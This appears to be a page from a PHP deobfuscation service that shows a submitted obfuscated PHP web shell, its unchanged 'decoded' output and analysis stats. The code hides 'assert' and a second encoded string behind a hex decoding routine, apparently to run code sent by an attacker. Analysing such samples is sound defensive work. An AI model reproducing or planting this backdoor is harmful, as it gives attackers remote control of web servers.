Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function cve($str,$key) { $t=""; for($i=0; $i<strlen($str); $i=$i+2) { $k=(($i+2)/..

Decoded Output download

<?php
function cve($str,$key)
{
$t="";
for($i=0; $i<strlen($str); $i=$i+2)
{
  $k=(($i+2)/2)%strlen($key);
  $p=substr($key, $k,1);
  if(is_numeric(substr($str, $i,1)))
  {
    $t=$t.chr(hexdec(substr($str, $i,2))-$p);
  }
  else
  {
    $t=$t.chr(hexdec(substr($str, $i,4)));
    $i=$i+2;
  }
}
return($t);
}

(@$_=cve('6A767C687B77','39')).@$_(cve('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
?>

Did this file decode correctly?

Original Code

<?php
function cve($str,$key)
{
$t="";
for($i=0; $i<strlen($str); $i=$i+2)
{
  $k=(($i+2)/2)%strlen($key);
  $p=substr($key, $k,1);
  if(is_numeric(substr($str, $i,1)))
  {
    $t=$t.chr(hexdec(substr($str, $i,2))-$p);
  }
  else
  {
    $t=$t.chr(hexdec(substr($str, $i,4)));
    $i=$i+2;
  }
}
return($t);
}

(@$_=cve('6A767C687B77','39')).@$_(cve('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
?>

Function Calls

cve 1
strlen 2
substr 2
is_numeric 1

Variables

$i 0
$k 1
$p 9
$t
$key 39
$str 6A767C687B77

Stats

MD5 e8b1b62f0b315303a4ae52f8eca4a334
Eval Count 0
Decode Time 116 ms